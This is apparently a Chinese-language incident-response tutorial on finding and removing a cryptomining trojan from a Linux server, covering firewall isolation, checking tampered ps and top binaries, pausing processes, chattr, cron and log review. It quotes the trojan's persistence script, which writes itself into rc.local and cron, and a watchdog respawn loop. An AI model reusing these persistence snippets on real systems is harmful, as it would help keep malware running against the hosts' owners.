发现CPU占用率居高不下,那么主机很有可能已经被植入了挖矿木马。
计划任务-->开机启动-->守护进程-->异常进程
iptables防火墙网络隔离
# 允许维护人员的ip访问
iptables -I INPUT -s xx.xxx.xx.xx -p tcp -j ACCEPT
# 禁止流量进来
iptables -A INPUT -p tcp -j DROP
# 禁止流量出去
iptables -A OUTPUT -p tcp -j DROP
#清除规则
iptables -F木马文件会修改常用的系统命令,如ps、pstree、top、kill、ls,让用户在执行常见的系统命令时,自动恢复或启动木马文件。 判断命令是否被修改的方法: 2.1 通过 rpm 命令来判断执行命令
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化根据命令执行结果发现
以下命令被修改过
ps、top、rc.local

发现确实被修改了,直接删除被修改过的命令文件,从backup文件夹里面复制提前备份好的命令文件。
查看被指向的脚本
if ! pgrep -x "king" > /dev/null
then
chmod +x /etc/rc.local &> /dev/null
grep king /etc/rc.local > /dev/null || echo "nohup /var/lib/king &" >> /etc/rc.local
grep king /etc/cron.hourly/nginx > /dev/null || echo "nohup /var/lib/k
g &" >> /etc/cron.hourly/nginx
grep king /etc/cron.daily/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.daily/nginx
grep king /var/spool/cron/root > /dev/null || echo "* * * * * nohup /var/lib/king &" >> /var/spool/cron/root
cp -arf /var/yp/king.sh /var/lib/king &> /dev/null
fi解释代码:
if ! pgrep -x "king" > /dev/null:
检查是否有名为“king”的进程在运行。如果没有找到“king”进程,条件为真,执行then部分的代码。
chmod +x /etc/rc.local &> /dev/null:
赋予/etc/rc.local可执行权限,并将所有输出(包括错误输出)重定向到/dev/null。
grep king /etc/rc.local > /dev/null || echo "nohup /var/lib/king &" >> /etc/rc.local:
检查/etc/rc.local中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/rc.local中。
grep king /etc/cron.hourly/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.hourly/nginx:
检查/etc/cron.hourly/nginx中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/cron.hourly/nginx中。
grep king /etc/cron.daily/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.daily/nginx:
检查/etc/cron.daily/nginx中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/cron.daily/nginx中。
grep king /var/spool/cron/root > /dev/null || echo "* * * * * nohup /var/lib/king &" >> /var/spool/cron/root:
检查/var/spool/cron/root中是否包含“king”。
如果不包含,则将* * * * * nohup /var/lib/king &添加到/var/spool/cron/root中,设置一个每分钟运行一次的crontab任务。
cp -arf /var/yp/king.sh /var/lib/king &> /dev/null:
复制/var/yp/king.sh到/var/lib/king,并将所有输出(包括错误输出)重定向到/dev/null。通过上述解释,了解到当执行ps或者top命令时,就会执行这个脚本,然后检查king这个进程,如果不存在,就运行该文件,
删除被指向的文件hide.sh以及下面的文件,并且删除文件king,发现没有权限操作。使用chattr去除权限后删除文件,
/var/lib/king
/var/yp/king.sh
king.sh内容如下
#!/bin/bash
# 定义检查和启动函数
check_and_start_service() {
if ! systemctl is-active --quiet watchdog; then
/var/.X11CE/jksdq2 -ai /etc/.init/watchdog
cp -arf /var/.X11CE/jksdq1 /etc/.init/watchdog
/var/.X11CE/jksdq2 -ai /etc/.init/watchdog
systemctl start watchdog
echo "[kthreadd] service started and file copied at $(date)" >> /var/log/kthreadd_monitor.log
fi
}
# 循环每30秒检查一次
while true; do
check_and_start_service
sleep 30
done根据上面的代码发现,当我们删除watchdog进程,它还是会被复制到/etc/.init/watchdog,所以直接删除/var/.X11CE/jksdq2
根据上面的代码,发现又出现一个watchdog的服务也是异常服务,首先恢复正常命令,在etc目录下面
mv top.orig top
mv ps.orig ps3.1 查看是否存在/etc/ld.so.preload

删除/etc/ld.so.preload文件后再删除动态链接库:/lib64/libupload.so

使用ps aux 查看占用CPU、内存异常的进程 使用top命令查看占用CPU、内存异常的进程

发现watchdog进程cpu占用很高,先暂停它。 kill -STOP 940 使用netstat命令,查看是否有异常的外连会话 A 如何判断是异常的外连? Q 拿到可疑的外连IP信息,放到安全平台(微步平台)去判断ip是否为恶意的IP
4.1 暂停找到的恶意进程ID(先暂停,后排查:为了能够正常进行清理工作) 为什么先暂停? 原因:木马守护进程,当木马进程关闭后,守护进程会通过重新下载或者从隐藏路径拷贝木马文件并执行的方式,来恢复木马进程
# kill -STOP <PID>
kill -STOP 940
kill -STOP $(pgrep king) #如果进程开放很多,可以使用这个命令暂停
pkill <进程名> #使用进程名来杀进程
ps aux |grep -T #查看已经暂停的进程4.2 删除恶意进程对应的文件
通常恶意进程都是由脚本和木马二进制文件调起的,我们拿到并暂停了进程后,可以通过lsof命令来找到进程打开的所有句柄(包括文件句柄),从而定位到文件的路径
# 最小化安装的centos你需要提前安装好lsof
yum -y install lsof
# lsof -p <进程号>
lsof -p 82766需要找到的信息
● 调起恶意进程的文件
● 恶意进程正在进行的网络连接
发现了进程的文件,删除它

找到调起恶意进程的文件后,进行删除,如果无权限操作,按照下面流程检查。
先使用lsattr查看是否有权限,如果发现有权限,使用chattr命令删除权限
使用方法
(1)lsattr命令
lsattr [选项] [文件或目录]
常用选项
● -a:显示所有文件,包括以点号 (.) 开头的隐藏文件。
● -d:如果是目录,只显示目录本身的属性,而不是目录下的内容。
● -R:递归显示目录及其子目录中文件的属性。
示例
1. 显示当前目录下所有文件的属性:
lsattr
2. 显示某个特定文件的属性:
lsattr filename
3. 递归显示某个目录及其子目录中的文件属性:
lsattr -R directoryname
(2)chattr 命令
chattr [选项] [符号] [属性] [文件或目录]
常用选项
● -R:递归更改目录及其子目录中的文件属性。
● -V:显示详细信息。
属性符号
● +:增加指定的属性。
● -:移除指定的属性。
● =:设置指定的属性(覆盖原有的所有属性)。
常用属性
● a:只能追加内容的文件。
● i:不可更改的文件(即不能删除、重命名、链接或写入数据)。
示例
1. 将某个文件设置为只能追加内容:
chattr +a filename
2. 将某个文件设置为不可更改:
chattr +i filename
3. 移除某个文件的只能追加内容属性:
chattr -a filename
4. 递归地将某个目录及其子目录中的所有文件设置为不可更改:
chattr -R +i directoryname4.3 防止恶意文件恢复 更具前面的后门脚本发现,会有一个king的守护进程来守护watchdog.而且会写入计划任务,这里我们看到king的文件地址/var/lib/king,查看该文件是否有进程,如有,暂停后删除对应的文件和计划任务。


查看crontab 计划任务
/var/spool/cron/
/etc/cron.* #ls /etc/cron.* #find /etc/ -mtime -1
/etc/crontab
grep king /etc/cron.*/* #查找所有计划任务是否包含king关键字并全部删除查看at计划任务
atq查看开机启动项
/etc/rc.local #0-6
/etc/rc.d/rc0.d/ #rc0-rc6、
/etc/init.d/
/usr/lib/systemd/system/ # find /usr/lib/systemd/system -mtime -1,-1指的是一天内是否有可疑开机启动项查看是否有异常的ssh公钥
~/.ssh/authorized_keys # cat ~/.ssh/authorized_keys没有公钥 ● 查看环境变量文件tail或者cat查看、或者使用关键字来匹配这些文件 ● grep king /etc/profile
/etc/profile
/etc/profile.d/*
/etc/bashrc
~/.bashrc
~/.bash_profile检测/etc/sysctl.conf文件,查看是否有恶意的参数 sysctl.conf 是一个系统级配置文件,用于配置Linux 操作系统内核的参数。 在Linux 中,内核参数是一些可以影响系统行为的变量。 而木马通常会在此文件中配置一个men内存参数,开机启动后为自己预留一大部分内存空间,如vm.nr_hugepages=4069,最终导致系统内存无法被释放
各种日志
/var/log/secure #centos的登陆日志
中间件日志 :apache、nginx、tomcat、Jboss、
/var/log/audit/audit.log #审计日志,内容比/var/log/secure还详细
~/.bash_history # 历史命令记录其中,/var/log/secure 主要查ssh暴力破解登陆的情况,通过awk、grep这些命令,可以快速的统计和汇总那些ip进行了暴力破坏并成功,下面命令可以快速的过滤出想要的信息
##1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#定位有哪些IP在爆破:
#grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.
#(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4] [0-9]|[01]?[0-9][0-9]?)"|uniq -c
grep "Failed password" /var/log/secure | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort | uniq -c | sort -nr
#爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
##2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
##3、增加非法用户如somebody日志:
grep "useradd" /var/log/secure
'''
Jul 10 00:12:15 localhost useradd[2382]: new group: name=somebody, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=somebody, UID=1001, GID=1001, home=/home/somebody , shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for somebody
'''
##4、sudo授权执行日志:
sudo -l
'''
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
'''
##5、爆破用户名字典(按照登陆失败次数排序)
grep "Failed password" /var/log/secure | awk '{if ($9 == "invalid") print $11; else print $9}' | sort | uniq -c | sort -nr经过上述的分析,我们判断该机器被植入挖矿木马,常用命令top和ps被黑客修改为启动挖矿木马的文件,黑客通过计划任务、修改常用命令、编写脚本的方式启动挖矿木马进而使用服务器主机进行挖矿行为。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。